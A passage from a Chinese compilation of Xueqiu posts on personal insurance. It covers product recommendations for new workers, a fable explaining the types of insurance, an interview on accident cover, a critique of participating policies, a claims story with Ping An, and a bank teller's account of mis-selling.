　　以国泰人寿的意外宝综合意外保障计划为例，50 万元保额的年保费仅为 250 元，每天的保费支出不到 7 毛钱。国泰人寿在此款产品的基础上还有一款升级版全面型的产品，在 50 万元保额的基础上，再增加 100 万元的航空意外险和 100 元/天的意外医疗住院补贴，其年保费为 340 元，对于那些工作经常需要出差的社会新鲜人而言，后者无疑更为合适。

　　国泰人寿之外，泰康人寿的 e 顺综合意外保障计划同样是一款值得考虑的意外险产品。同样 50 万元保额，其年保费为 275 元，较国泰人寿的意外宝略贵，但依然较市面上许多同类产品便宜许多。相比国泰人寿意外宝，泰康 e 顺综合意外保障计划的优势在于除了可以选配意外医疗住院补贴外，还可选配意外医疗保障，以实现对意外医疗费用部分的报销。当然，意外医疗属于保费相对较高的附加险，仅 1 万元的保障年保费便达 39 元——若从预防重大风险的角度，还不如花费 41.4 元购买 90 万元 e 顺交通工具意外保障计划中的航空意外险保障。

　　上述两款产品，均可以通过保险公司的官方网站进行投保并且在线支付，对于伴随网络长大的新一代而言，无疑是最方便不过了。

重疾险：自然保费更省钱

　　还有什么比一个刚刚踏上工作岗位，花样年华的年轻人罹患重疾更令人扼腕的事情。这不仅意味着当事人可能因此失去工作，失去经济来源，而且治疗重疾的费用对普通家庭更是高昂的压力。正因此，重疾险亦是社会新鲜人不可或缺，应当放在意外险之后考虑的险种。

　　购买重疾险，有两种选择：均衡保费的传统险种和自然保费的附加险种。

　　先来看均衡保费的传统险种。以费率相对较低的昆仑祥宁定期重大疾病保险为例，若是 1987 年 8 月 1 日出生的女性，投保 20 年保障 20 万元 20 年缴费的话，那么年缴费为 500 元；若是男性，则年缴费为 600 元。此款重大疾病险同时还具有 20 万元意外身故的保障。对于那些怕麻烦，同时手头相对宽裕的社会新鲜人而言，这样的产品无疑购买了比较省心，每年只需要银行代为扣费即可，这也是最主流的购买重疾险方式。

　　当然，若我们希望进一步降低保费，或者增加保额，那么就需要考虑选择自然保费的重疾险了。由于自然保费的重疾险不以主险的方式存在，所以我们必须首先购买一款主险，然后以附加险的方式来购买自然保费的重疾险。

　　以泰康人寿的储值型大病保障计划为例，其核心是 e 理财万能险，然后可以通过附加险的形势附加重疾险。就费率而言，泰康 e 理财万能险在同类产品中是较低的，除投保时收取 2% 的初始费用外，主要费用就是从第二年开始每月 5 元的保单管理费用；而且泰康 e 理财万能险的收益也不错，结算收益始终在同类产品中居前，最新利率为 4.15%。而且此款产品最低缴费为 2000 元，对社会新鲜人而言压力也比较小。在投保了泰康 e 理财万能险，享受相对稳健的收益之后，便可以投保其中附加的重疾暨身故附加险了，相比传统重疾险，这款附加险还包括了传统寿险的身故保障。以 22 岁的男性为例，20 万元保障的年保费为 356.4 元；而女性为 317.04 元，显然均较均衡保费的险种来得低，2000 元保费大体可以支撑五年的缴费需要。当然，在缴费金额不变的前提下，投保人完全也可以选择提高保额的方式。以 22 岁的女性为例，30 万元保障的年保费为 475.56 元；男性则为 534.6 元，在略微省钱的前提下，最初的保障可以提高 50%。

寿险：定期寿险优于终身寿险

　　在有了意外险和重疾险的保障之后，接下来需要考虑的就是寿险保障了。寿险保障无疑是对意外险和重疾险的一个补充，当你不是因为意外而身故或者罹患重疾险保障之外的疾病而身故时，寿险就能发挥其不可或缺的作用了。

　　在购买寿险上，定期寿险无疑是比终身寿险更佳的选择，后者因为保障期限过长，所以其保费相较保额的比例过高，以某款终身寿险为例，2 万元保费才可以获得 5 万元的终身寿险保障，这对于社会新鲜人而言显然是一个糟糕的选择。

　　所以，在购买寿险时，不带返还的定期寿险是一个不错的选择。以新华人寿的定期寿险为例，50 万元的保额 10 年的保障期，22 岁的男性年保费为 550 元，而女性则为 300 元。显然保费压力并不算大。

　　当然，秉持上文提及的自然保费的思路，我们同样可以采用附加险的形式投保。泰康 e 理财万能险除了重疾险外，还可附加寿险。同样 50 万元的保障，22 岁的男性年保费为 345.96 元，而女性为 157.56 元。当然，这里需要指出的是，无论是重疾险还是寿险，自然保费的品种其保费都会伴随年龄上升而快速上升，同样 50 万元的保障，到了 30 岁男女的保费就会上升至 440.52 元和 203.04 元，而到了 40 岁就会攀升至 857.52 元和 414 元。

　　（由于时间原因，本文部分数据可能已发生改变，敬请留意——编者注）

4．那些你不曾了解的保险种类

　　米苏，个人投资者，发布于 2013/03/20

　　原文链接：http://xueqiu.com/5517873136/28331200

前情提要：

　　三个小伙伴每周都会和财神爷有个神秘的约会，在财神爷的指导下学会理财的真谛。这周，财神爷将和他们一起讨论保险的知识和作用。

　　又到了晚上 7 点，新的一关又开始啦。这一关，财神爷布置给三个小伙伴的任务是帮一家珠宝首饰加工厂解决一个棘手的问题。三个小伙伴首先来到了工厂，开始了解这到底是个什么大难题。

　　工厂老板：“我最近想为一个品牌的珠宝代为加工一种项链，这个单子利润可是很丰厚啊。不过，这个项链的最值钱的部分是这个玉吊坠。这个玉吊坠都用了最上等的和田玉，成本极高；而这款首饰对玉坠子的雕工要求又特别高。我们这有 100 个手艺最好的师傅，算得上是规模最大，技艺数一数二的厂子了。可是每个师傅也不能保证完全不会失误。可对方要求很高，又很苛刻，说若是雕刻坏了损失得让做坏了的师傅赔。师傅们都不太愿意接这个活了。”

　　师傅 A：“虽说我们对自己的技术都有信心，可做这行谁也不能完全保证不出问题。是这要我们赔这么贵的玉，我们可吃不消。我们一年工资才 7 万多，额外借这一单老板说也就给我们多 1 万 5，这一块玉可就得 10 万了，我们一年工钱都赔不起。这加工还费事费力，估计半年才能完成一块呢。”

　　工厂老板有些无奈地说：“哎，可这生意我还真是想接啊，这单利润还是挺丰厚的。”

　　蓝蓝听了，心生一计，问老板：“你们这次一共要加工多少个吊坠？”

　　老板：“一共要加工 200 个，每人 2 个。因为是额外的单子，师傅们得用空闲时间加工，估计加工一个得半年呢。好在客户要得倒不急。”

　　蓝蓝又找了个看起来比较年长的师傅问：“您觉得以你们的技术，这 200 个坠子里，估计会产生多少个次品呢？”

　　老师傅 B 想了想：“大约 2 到 3 个次品吧，我对我们的技术还是很有信心的。可是就怕自己摊上那个万一。”

　　蓝蓝：“这好办，我给你们出个主意。你们每人出 4000 块钱，100 个人就能凑到 40 万了。根据老师傅的估算，40 万应该能够填上次品的钱了，这笔钱就专门用来赔付，做坏玉的那个师傅则不用自己一人来承担赔偿。你们每人还能安安心心赚上 1 万 1。你们看怎么样？”

　　师傅们一听，觉得能安安全全地赚上 1 万 1，都改变了主意，表示愿意接这单活。老板一听有生意做，自然笑得合不拢嘴。

【涨知识】消费型保险

　　最初的消费型保险就这样产生啦。这类保险产生的直接动机是，存在一些有以下三大特征的风险：

　　1．对许多人都普遍存在

　　每个师傅都有可能雕坏玉坠子；

　　2．对单个个体来说发生概率很低

　　师傅们手艺都很精湛，200 个玉坠子也就产生 2－3 个次品；

　　3．一旦发生对个体打击非常大甚至致命

　　赔付一个坠子的钱就超过了一个师傅全年的收入。

　　对于这类风险，虽然单个个体无法承受，但由于总体发生概率很低，可以通过设立一个共同“基金”，每个人出力所能及的一小部分钱，集合在一起，共同“防御”出现的少数致命风险，从而对单个个体来说起到转移风险的效果。

　　这所谓的消费型，就是指你把钱投入到这个“共同基金”——保险中后，除非你发生了这个风险事件，否则钱就一去不复返，被“消费”掉了。而现实的保险中，这个风险事件可以多种多样，比如意外事故、重大疾病、特定事件等等。

　　正当大家都为这个方案拍案叫好的时候，一个年轻一些的师傅站出来提出了一个问题：“如果有 4 个残次品，这个办法自然很不错，但若是我们一个残次品都没有打碎，我们岂不是很亏？”

　　黄黄想了想说：“好问题，我想到一个更好的办法。不如我们用你们的利息来赔这些次品的钱。让你们老板先不把这个额外的 1.5 万发给你们，然后每人先交上 3.5 万，一起集合起来做个投资。我听说现在在发行一个收益率 8% 的一年期债券，风险比较小。500 万资金一年刚好能产生 40 万利息，能保证你们的次品钱。而到了年末，你们又能每人领回去属于自己的 4 万块钱。不是一举两得吗？”

【涨知识】储蓄型保险

　　储蓄性的两全保险就这样产生啦。

　　一方面，这个保险具备了上述消费型保险的功能，对个体来说转移了概率很小，但打击巨大的一类风险（比如意外死亡）；

　　同时，到了期末我们还能把原来的保费收回（全部或者部分），相当于带有储蓄功能，保费不再打水漂，能够为我们的特定目的储备资金（实际保险中返还保费的时间在合同中有规定，比如某个养老目的的寿险，返还时间规定在 60 岁之类）。

　　这个办法显然更胜一筹，老板准备采用这一个方案。

　　这个时候，蓝蓝又跳出来说：“8% 的收益率还不错，不过我认识一个朋友，是搞投资的专业经纪人，能力很不错，我每年都让他帮我打理财产，收益率都有 12% 左右，每年收我 2% 左右的佣金，这么一来还是有 10% 左右的收益率，比 8% 高诶。我们不如把 500 万交给他打理吧。多出来的投资收益我们还能一起多分点。”

【涨知识】分红型保险

　　锵锵锵，新险种——分红险又诞生了。

　　保险公司更加积极主动地由专业人士管理所拥有的资金，通过积极投资获得收益，除了消费型保险的基本保障功能外，将所得收益扣除一部分佣金后返还投保人（即分红）。

　　保监会规定，对于分红型保险，我国保险公司必须将 70% 以上的收益返还受益人。

　　“好办法！”大家纷纷夸蓝蓝有门道。

　　蓝蓝想到能够顺利解决问题，也特别高兴，马上给这个朋友小布打了个电话，把朋友请到了厂里，和大家一起讨论。

　　小布：“我听了你们的计划，我觉得很不错。如果你们愿意把 500 万交给我们打理，我保证一年后扣除佣金，返还你们 550 万，你们自由分配。按照你们的估计，至多有 40 万用作赔偿废玉，所以你们至少还能赚 10 万呢。”

　　这时，又有一个师傅又开口了，师傅 C：“哎呀，一听这个 10% 的收益率，我觉得比存银行合算多了，比我其他投资方式也高。小布先生，我能不能多投一点啊？”

　　小布：“哈哈，那当然可以，互利的事情我可来者不拒。”

　　听小布这么一说，好几个师傅也纷纷表示想多投一点到这个“保险基金”中。

　　师傅 D：“小布先生啊，我也特别想多投一些，可是我又不确定这一年中我会不会遇到急需用钱的时候，你看有没有办法协调呢？”

　　小布听了沉思了一会儿，答道：“不如这样，你们要是愿意，都可以多给我些钱交给我们打理，这些钱我都会个给你们算利息，我还保证，这个利息扣除我的 2% 佣金后，绝对不低于 10%。而针对你刚才所说的问题，只要你们保证这个我打理的‘总基金’不少于 500 万，你们要用钱的时候随时可以把自己投资的部分取走。而且多放点钱对你们都有好处，万一 40 万都不够赔，多放点多点利息，你们的保障也强一些。”

【涨知识】

　　万能险就这样诞生啦。万能险是指，保险人在开始支付一个最低金额的保险费（500 万）的前提下，还可以在任意时间支付任意金额的保险费。增加的保险费可以用来提高给付金额（比如，大家认为废玉赔偿金 50 万都不够，还需要更多赔偿金）。同时，这个保险还承诺，你可以随时提取部分保费，只要你剩余保费（如小布要求必须留足 500 万）能够满足你的保额和佣金。并且，万能保险现金价值的计算还保证了一个最低收益（如小布承诺的 10%）。

　　大家一听，觉得这个方案更好了。

　　这时，又有一个师傅提问了，师傅 E：“小布先生，看你这么专业，有没有更好的投资渠道，能赚更多钱啊。”

　　小布：“能赚更多钱的渠道当然有，可是高收益就表示高风险，好一些可能能赚 15% 甚至更多，不好的情况下，也许只有 5% 的收益，可能不太适合你们。”

　　师傅 E 听了，有点遗憾：“哎，要是能赚 15% 就好了。可是听你这么一说，又有些危险。”

　　小布又想了想：“如果你们真的很想尝试，我再给你们出个主意，我给你们设置几个不同的账户，每个账户投资渠道不同，收益率也不同，而风险自然也不同。你们自行选择，投进去后我就帮你们管理，我只收 1% 的手续费，剩余都该归你们。可是赚多赚少我就不管了，万一不幸亏了，我也不负责任。不过，我答应你们，如果打碎了玉石，我可以保证帮你们留足 40 万的赔偿基金。你们要是愿意采纳，也可以。”

【涨知识】

　　连投险产生啦。投连险是一种新形式的保险产品，它集保障和投资于一体。一方面，连投险保证在发生指定风险后进行赔偿（赔偿废玉损失，40 万以内）；另一方面，通过将保费进行不同渠道的投资，获取收益，但是收益不定，风险自负。因此，连投险的风险很高。

　　投连险的费用主要包括初始保费、风险保险费、账户转换费用、投资单位买卖差价、资产管理费、部分支取和退保手续费等，根据产品的不同，上述费用的收取也存在差异，一般头几年的费用较高，适合于长线的理财规划。目前，我国的连投险还处在起步阶段，产品水平参差不齐。

　　大家一听，觉得这个方案还是风险过大，不如上一个方案保险，大家决定选择小布的前一个方案。

　　不过，就在这个时候，一个年轻的师傅 F 站了出来：“不好意思，我没有那么多储蓄，没办法一下子拿出 5 万块放在这个基金里。我能不能选择最开始的方法，直接拿出 4000 块来作为赔偿金，也不要什么投资利息了。”

　　红红：“恩，这位师傅说得也有道理，就两种方式让大家选择吧。愿意把钱拿出来投资，用利息来作为赔偿金的就把钱交给小布打理，若是不愿意就直接一次性交 4000 元赔偿金。”

　　大家听完，都觉得这个办法最周全。欧也，就这么愉快地决定啦！于是，这一关任务，三个小伙伴又顺利完成咯！

【再来说说保险】

　　通过第八关的故事，相信大家对主要的五类保险都有了一定的理解。我们可以发现，在保险不断演变的过程中，大家的关注点逐渐从保险功能（废玉赔付）转移到了收益功能（能收获多少利息）。

　　可是，保险公司真的有那么强的投资能力吗？（事实上，故事中小布承诺 10% 的收益率在现实中的保险公司里是几乎没有的）我们购买保险的目的到底是为了获取保障还是获取收益呢？保险种的各类费用，赎回保费的前提条件，到底有什么猫腻？

　　我建议大家在购买保险的时候，多多思考这个问题，首先重视的必须是保障问题。若购买储蓄型保险，仔细地阅读限制条款，认真计算投资回报率，再做判断。毕竟，羊毛出在羊身上，购买储蓄型保险千万擦亮眼睛。

5．专家教你用好意外伤害险

　　丘斌斌，前泰康人寿市场部产品研发和企划高级主管，发布于 2014/03/12

　　原帖链接：http://xueqiu.com/1287305957/28194149

　　本文为球友「资深保险人丘斌斌」做客雪球访谈实录

　　问：意外险好像占比规模并不是很大，各家保险机构业务占比中，意外险占比能有多大？

　　答：意外险的保费本身就很少，营销系列比较贵的费率也就是千分之几，所以保费规模并不大，但是购买的人群比例并不低，只是买的是否合适有待考究。保费在各公司原保费中的占比一般都小于 1%。友邦一直是意外险卖的很好的险企。

　　问：看保监会数据，意外险好像占比很小，是不是各大保险公司对这块都不大重视？都比较在意寿险这块？

　　答：并非如此，保费占比小是因为保费本身就很便宜。消费型寿险的意外险费率，在营销系列也就是千分之几，网销产品更能便宜到万分之几，所以保费占比肯定是排不上的，但是购买的人次并不在少，而且有些寿险的产品中含带了意外的保险责任。比如航意险、短期旅游保险等都经常是很多人购买的产品，从这次马航事件来看，158 人中，有 169 人次购买了保险公司的产品，当然不全是意外险，但是比例并不低。

　　问：一般出行好像都不选择意外伤害险，请教丘总您认为消费者为何忽视它呢？而且媒体上很多报道有很多隐形条款，对投保人不利。

　　答：意外险有三类：普通个人、团体意外、特定意外（比如短期旅游保险就是特定意外保险的范畴）。而且有些寿险的主险中也含带了意外保险的责任。消费者可能觉得意外的发生率不高，我坐飞机很多次或者出游很多次，从来没有发生过意外，而且保费交了就拿不回来，所以对购买这类产品的积极性减退。隐性条款呢？这是媒体这样讲，意外险的分类很多很细，有些地方是有限制条件的，比如必须在公众休息的节假日出险，比如烧伤的定义、残疾的定义和比例等等，这些比较容易引起歧义和误解。有些客户认为，我买了意外险，出了事儿，保险公司不陪我，其实他仅仅买了意外，由于意外造成了医疗，并没有残疾或身故，但是他又没有买意外医疗的产品，所以没有办法理赔，从而产生纠纷，这些都是现实中在产品购买时候的理解误区造成的后期问题。

　　问：对于经常打飞的的建议买什么样的意外险比较好？

　　答：保险公司在网上有销售一年期的航意险，以泰康为例，是 99 元保一年，保险金额是 110 万元，如果觉得还不太够，还可以再多买几家的，很多公司都有类似的产品。除此以外，如果你怕晚点，可以在一些经济公司如明亚的网站上购买一些短期旅游产品或者淘宝上的飞机延误险种，一旦延误时间较长，可以获得赔付。

　　问：介绍一些意外险的常识吧！对这玩意儿关注的很少，有啥讲究么？

　　答：您的问题很好，但是这个问题很复杂。我最近准备专门写一篇文章，指导大家如何正确购买意外类保险产品。

　　人身意外伤害保险是指保险人对被保险人由意外伤害事故所致死亡或残疾，按照合同约定给付全部或部分保险金的保险。这里面有几个要件：合同有效期内、外来的、突发的、非本意的、非疾病的、无法逃避的事件造成被保险人身体的伤残或身故。而对于意外伤害造成的医疗费用，一般需要购买意外伤害医疗保险来对应赔付。而意外的发生后果，更多的是医疗费用问题，所以这个产品必不可少。

　　意外产品一般分为三大类：普通个人综合意外、团体意外伤害保险、特定意外伤害保险。我们常见的交通意外伤害、旅游意外伤害保险等都属于特定意外伤害保险的范畴。但是这些产品的保险责任一定要仔细看，是有具体的差异的。比如死亡保险金额和伤残保险金额是否相同，是否是共用保额还是额外保额，购买意外医疗产品，产品的赔付周期是多长、免赔额是多久。除外责任中是否除外了恐怖袭击（有些公司是把恐怖袭击除外的，有些不是），意外残疾的确定周期是多久，死亡确定周期是多久等等。这里面的问题非常复杂，所以不要只看一个产品名称。

　　以交通意外来说，有驾驶员意外、自驾车成员意外、乘坐私家车意外、乘坐公交车、地铁、轮船、长途客车意外等等，对条件的限定不一而足，需要具体看明白再购买。从购买的渠道来看，网上购买是实惠、方便的，可以从保险公司的网站买，也可以从一些公共的网站上买，或者中介公司的网站上都可以。

　　去年保监会更新了意外伤害保险的赔付标准，赔付项目大幅增加，进而影响到产品的费率，纯费率一类人员增长了近 50%，所以近期新出的或更新的意外保险产品价格都会上浮，还有旧款险种在售的可以抓紧购买。意外保险的产品周期一般为一年，也有多年期意外保险产品。产品的保费大都为消费型，也有部分储蓄型的意外保险产品，但是大都以自驾车保险的形式出现。意外保险产品的出险率并不算高，理论上在万分之几，飞机的失事概率在百万分之几，但是不要因此就忽略这个产品，这个产品每个人都需要，因为出险率是群体性的概率，但是对于个人，出险率只有两个 0 或者 100%。意外险还有很多问题，我回头专门文章来详细地谈。

　　问：这次 mh370 的乘客很多都买了意外险，如果不放心的话是不是可以多买几份这种意外险，这个可以累积赔付吗？

　　答：这次马航失联事件，很多乘客购买了航空意外、旅游意外等产品，还有的本身有寿险产品，有些是团体保险产品，目前排查出 158 人购买了 169 人次的保险产品，说明覆盖率还是很高的，这些产品是可以叠加赔付的。在不同公司购买的保险产品在没有特殊规定的时候，是可以叠加赔付的。就本次事件，保险公司的理赔原则肯定是能赔就赔，能快不慢。

　　但是一直是失踪的话，找不到的话，还是有一个周期才能赔付，也不排除一直处于失踪状态，保险公司可能在一个月后预先支付部分保险理赔金的可能，毕竟从人口的失踪到死亡的认定都需要一个周期，一般是 2 年。

　　问：请教一下现在保险是不是网购的产品更划算？对于投保人而言。

　　答：是的，网销保险产品的费率确实是比较便宜的，但是也要具体的比较，不能光看价格，还要看产品的责任内容、保障范畴等。

　　例如，某公司个人人身综合意外伤害产品费率为万分之六，看似很便宜，但是残疾责任是死亡责任的 10%，而另一家公司产品费率是千分之一，但是残疾责任和身故责任相同，另一家公司的产品费率是千分之一点五，但是残疾责任和身故责任都是单独的额外保额，这样看，那个便宜的产品可能并不是我们需要购买的，我自己可能会选择买一部分的 2 和一部分的 3。一说起来，问题真多。

6．珍惜金钱，远离期交分红险

　　张翼轸，《新闻晨报》证券记者，发布于 2013/08/06

　　原帖链接：http://xueqiu.com/3559889031/24717515

　　作为一个多年报道保险新闻的财经记者，如果说有什么可以算作关于保险的忠告，那么就是：珍惜金钱珍惜健康，远离期交分红险。

分红险保证收益有限

　　从产品定位而言，分红险无疑是投资类保险中极为特别的一类，与定期存款、债券这类品种八竿子打不着一块去。但是，无论是银保渠道还是个险渠道，却是有大量代理人有意模糊这两者的区别，将分红险当作“存款替代品”来进行销售，而保险公司为了迎合这种推广伎俩，在产品设计和产品宣传时时往往也竭力向定期存款靠拢。

　　比如某款分红险产品表示，“每五年获得 18% 基本保险金额的保险金”。若投保人看得不仔细，以为每五年可获得 18% 保费的返还，那么就上大当了。的确，若真是 18% 保费的返还，那么即使按照复利计算，这块的年化收益率也达到 3.37%，算是相当不错的水平了。再仔细注意“保险金额“四个字，再看看投保示例，你才明白个中奥妙。原来，若你要购买 10 万元保额的这款分红险，那么按照 3 年缴费，每年必须缴纳 113720 元。这也就是说：在 3 年累计缴纳了 34.116 万元的保费之后，你每五年才可以获得 18% 基本保额也就是 1.8 万元的现金返还，即五年收益率不过是 1.8÷34.116=5.28%，若是年化之后更不过 1.03%。

　　若分红险告诉你 1.03% 的年化收益，相信你绝不会轻易心动。但是来一个实际内涵一致，但是“每五年获得 18% 基本保险金额的保险金”的表述，相信很多没看仔细的投保者就会觉得这的确是一个定期存款的绝佳替代品而上当买入，之后懊悔、投诉、不满自然接踵而来。

　　投保人需知道，分红险的保证回报部分，不可能会太高，绝大多数公司均在 1% 出头，在特别情况下达到 2% 已经是相当之高了。分红险若是保险公司经营得到，在算上年分红的基础上，的确可能达到 3－5% 的收益率水平，但是仅仅保证回报部分，是断然不可能有如此高水平的。如你发现一款保险产品保证可以给你 4% 甚至 5% 的年回报，那么请不用怀疑，肯定是你被保险公司的宣传误导了。

九年回本的漫长之旅

　　期交分红险最不令我满意的，就是其过于漫长的回本之路，以我手头某家大公司的主打产品为例，竟然要九年！！

　　如果我们以某款 5 年缴分红险的生存总利益（包括累积获得的现金返还、退保时获得的现金价值和中档累积分红）占累积保费的比例为例，第一年仅为 53.11%，即保费的 46.89% 作为费用交给保险公司了。虽然这一费用比例伴随缴费年限的上升会逐步降低，但是第二年 37.48%，第三年 29.46% 依然是不低的水平。

　　如果我们继续用“回本”的概念作为考核分红险投资水平的一个标准，那么上述这款分红险要到第九年生存总利益才超过累积保费，这之后才开始慢慢有钱赚，进入盈利期。

　　其他的期交分红险也许因为产品结构不同，回本年限稍有不同，但是绝大多数的回本期均同样漫长。然而，在产品宣传和推介时，销售人员一般不会将透露这个“残酷的事实”，往往要待投保人买入之后才会发现原来分红险的收益并不如自己以为的那么美妙。

　　更糟糕的是，无论是期交万能险还是期交投连险，其初始费用都会在产品说明上以清晰的表格公示，投保者只要稍稍仔细查看，就会对费用问题有一个清晰的了解。然而，分红险的费用问题几乎是一个“不能说的秘密”，产品宣传上几乎不会提及，销售人员更不会主动告诉你，往往是要到投保人对分红险不满准备退保时才会发现，一旦退保必将损失惨重——这时就不得不陷入两难，退保将损失一大笔钱，不退保则被迫持有自己不满意的产品甚至被迫继续缴费，无论如何都让人郁闷万分。

分红收益还看运气

　　对于分红险而言，产品说明上说的花好稻好的每年返还终究是小部分，真正的收益主要还是来自于分红。以上文举例的产品为例，其生存总价值每年以 4.5－4.6% 的水平递增，但其中来自于中档分红的收益就要占到整个收益的 44% 左右，是仅次于生存金的第二大来源。但是，所有分红险产品中给出的红利收益部分都只是假设数据，所以才需要给出低、中、高三档来作为演示。至于你买到产品之后，实际分红收益接近哪一档，事先是根本不知的。

　　更糟糕的是，事实上你也不可能在购买分红险产品之前知晓这款产品的分红水平。保监会 2009 年年初发布的《人身保险新型产品信息披露管理办法（征求意见稿）》规定：

　　“除向投保人提供红利通知书外，保险公司不得向公众披露或宣传分红保险的经营成果或者分红水平。”

　　这也就意味着在投保之前，你根本无从得知保险公司分红险的经营状况如何，是否相比其他投资对象更具优势，不同公司产品之间的比较更是无从下手。

　　购买分红险就成了一件“比拼人品”的事情。如果你凑巧遇上一家投资水平较高，分红收益不俗的保险公司，那么恭喜你，这款分红险的确可能为你提供颇高的收益；但是若你不幸遇上了一家投资水平较低或者极为保守的保险公司，分红水平自然较差——能够低到什么程度，恐怕连定存都跑不赢。

　　而不幸之后的第二重不幸则是：这时候即使你对产品很不满意，也很难退保了——退保不是不可以，但是可能要承担 30% 甚至 45% 的退保费用，让人肉痛。

不由想起“赌场论”

　　每次接到读者关于分红险的投诉，都不由想起多年前吴敬琏老先生关于股市的“赌场论”。曾几何时，A 股市场因为假财务报表、庄家横行受到诟病，经历了那么多年的制度建设加强监管，A 股发展日益完善，今时今日，已鲜有人将股市再称为“赌场”了。风水轮流转，分红险市场的制度建设若不跟上，未来也有沦为“赌场”之忧。

　　分红险的退保率不低，这是业内的现状。在极高的退保代价下，依然有远超于业内平均的退保率，可见有多少投保人在购买分红险之前根本就不明白这是不是自己需要的保险产品。究其原因，投保人自身的保险知识有待加强固然是一方面原因，但是更重要的根源却是在保险公司身上。产品设计时那些故意混淆误导的阐述，营销人员将分红险类比银行存款的营销伎俩，都负有不可推脱的责任——保险的营销往往沦为“忽悠”，在这点上，与赌场的出老千，倒是有异曲同工之妙。

　　更糟糕的是，作为分红险重要收益来源的红利部分，其红利高低却是“不能说的秘密”。监管部门当初制定如此规则，无疑是为了避免保险公司利用短期的漂亮分红数据去忽悠投保人，但最终却难以在长期时间段中持续这样的业绩水平——然而，这一规定却是双刃剑。在避免了保险公司用漂亮数据误导的同时，也使得那些经营水平和分红水平较差的保险公司可以利用信息不透明浑水摸鱼——这也使得买分红险一定程度上沦为了“俄罗斯轮盘赌”，是否能够买到好产品，全靠运气。

　　基金产品，收益情况逐日公布，其透明度远高于分红险，我们可以看到因为被短期数据误导的投诉和异议反而远不如保险来得多，可见透明度终究是好的——都存在误导的可能，我相信许多人会选择因为“知道”而选择错误，也不愿意选择因为“不知道”而被忽悠。

7．现身说法：我向平安索赔的经历

　　scottyuan，个人投资者，发布于 2013/05/31

　　原帖链接：http://xueqiu.com/3044847182/24011046

　　对于一个企业的认识，除了对财务数据的认真分析和讨论，也有必要谈谈自己对这个企业的接触。感性和理性认识都不可或缺。一个人生活中免不了和保险打交道。我也谈谈与平安打交道的经历吧。

　　几年前因为一个海损的案子和平安断断续续打了 2 年的交道。我是投保人，平安承保，海事发生在印度洋。为了索赔前前后后折腾了 3 年，到现在也没有完全结束。但是我要说拖延到现在不是平安的责任，而是船东无赖。我所在企业早已和平安达成了和解，拿到了平安的赔款，由平安代位向船东求偿，但是按照协议我们还必须根据平安的要求签署和提供需要的文件。案子的具体过程我就不细说了。只说自己的感触。

　　不知道有谁去过平安在上海张江的后援中心，2008 年我前后去过两次。建筑规模很庞大，但是最震撼我的不是建筑，而是里面数千名员工坐在没有纸笔的桌子前操作电脑，他们告诉我这些人的工作是把全国各地签署影像传输过来的保单输入到系统里，之所以不配纸笔是防止员工私下记录投保的信息。平安的后援中心周围是不少银行的后援中心，想来也一定有不少这样的白领民工操劳着。不得不说平安的后援中心给我的印象很深，我还发现平安喜欢仿古样式的建筑，后援中心如此，陆家嘴的平安大厦也是这样。马明哲很相信风水之说。

　　日常生活中大家接触的都是平安的保险销售，我还多次接触了平安的后台人员。相比之下平安后台（如理赔等）的素质更加高些，彬彬有礼。也的确把客户放在很重要的位置。至少在我看来这个案子非常复杂（人一辈子很少会和保险理赔打交道，这也令我对保险公司盈利更加有信心了），所以从一开始我就请了律师为我保驾护航，平安自己的律师我没有见到，但我相信平安的每封邮件必然经过法务人员的把关。但是为了这个案子，平安还请了新加坡和迪拜的律师（费用比我请的高多了，但我请的律师业务也很优秀）。其实这个案子我们和平安的立场是一致的，但作为苦主，我们无意更多涉入与船东和船东背后的保险公司的谈判。所以我的立场很清楚，尽快与平安了解，拿到赔款（尽可能多的），由平安和他们打去。不出所料，我们的赔款一年多拿到了，但是平安真的申请扣船并把船东告了。案子拖延到现在仍未完全了结。详细内容我就不说了，前后的邮件大概有几百封（90% 以上是英文的），虽然我的英语马马虎虎，但是里面的术语对我来说全然陌生，每封邮件都由律师过目并和我商量，正式的邮件也都由律师起草。我的经验是碰到理赔涉及到法律诉讼这种事情，律师是你最好的帮手。据我所知，这个案子的延宕和复杂也出乎平安的意料，苦不可言。平安从船东可能拿到的赔偿会远低于他们花的律师费。对于理赔，似乎大家的经验是找当初的保险销售，但保险销售流动率非常惊人，往往出险的时候销售不巧离职了。我的经验不是这样，在保险公司里销售和理赔完全是两个系统，理论中是不打交道的，但是实际还是有沟通的渠道，因为出险的损失最后会影响销售的业绩收入，所以还是要沟通的。通过谁沟通，我的经验是买保险最好通过保险经纪公司，出险理赔时保险经纪公司也可以帮上忙，而且是大忙。保险经纪公司类似于房产中介（我这么说没贬低吧）。保险不仅仅是费率，还有很多复杂的内容。保险经纪公司的人基本上是从保险公司出来的，而且是精英，他们可以帮助你做保险方案（企业不会只买一种保险的），这个技术含量很高，对保险公司有很强的谈判能力。我记得英国（保险发源地）保险公司业务大部分是保险经纪公司或者经纪人带来的。而且你是保险经纪公司的客户，他是为你服务的，出险的时候投保人和保险公司会成为利益冲突的双方，多个帮手总是好的。

　　保险是现代经济必不可少的一部分。谁说的来着：保险是对风险的定价，我还要在风险前面加个定语：未来。没有保险，很多经纪活动难以展开和进行。人偏好在不确定中把握确定性，保险向你销售了部分确定性，从这个意义上说，保险不可或缺。

　　从这个案子，我让老婆开始买了平安保险的股份，当时就是 40 多块吧。和平安的人接触时，他们说平安股价从 140 多下跌，跌到 80、90 的时候，很多平安保险的人开始买入了，他们觉得已经跌到位了，后来跌到 20 多吧。这说明对于一个公司的估值是多么难的一件事情，分歧很大一点都不奇怪。

　　说到平安高管的高薪，据我所知，这个高薪也不是那么容易拿的，而是对应了绩效考核，完不成，收入就掉很多，连续两年完不成，就得走人了。

　　拉拉杂杂说这么多，对我来说，平安就是一头大象。你接触到的部分会给你对企业整体评估的影响会很大。也许我摸到的是屁股。

8．那些年，我曾经这样卖保险

　　费悦，赛富亚洲基金金融业研究员，发布于 2014/06/01

　　原文链接：http://xueqiu.com/1329815825/29498229

　　我之前签约过某家银行的柜员。在面试和岗前培训中，遇到四个有关销售保险的事。

　　1．初面是 3V3，考官问旁边一同学：保险我们都知道，是对客户不利的，你准备怎么去销售。答：~！@#￥%&*……（这哥们同济哲学系的，貌似对销售和金融都一窍不通，不知所云）考官说：应该是不要告诉客户收益率，说怎么怎么有保障功能。

　　2．岗前培训时，老师闲扯到：理财柜的柜员每月有多少多少销售指标，包括理财、保险、基金、信用卡等等。我们也知道卖保险是坑客户的，但是没办法，上面有指标就要照做，招你们来就是销售的。所以你们自己要平衡好客户和奖金的事。

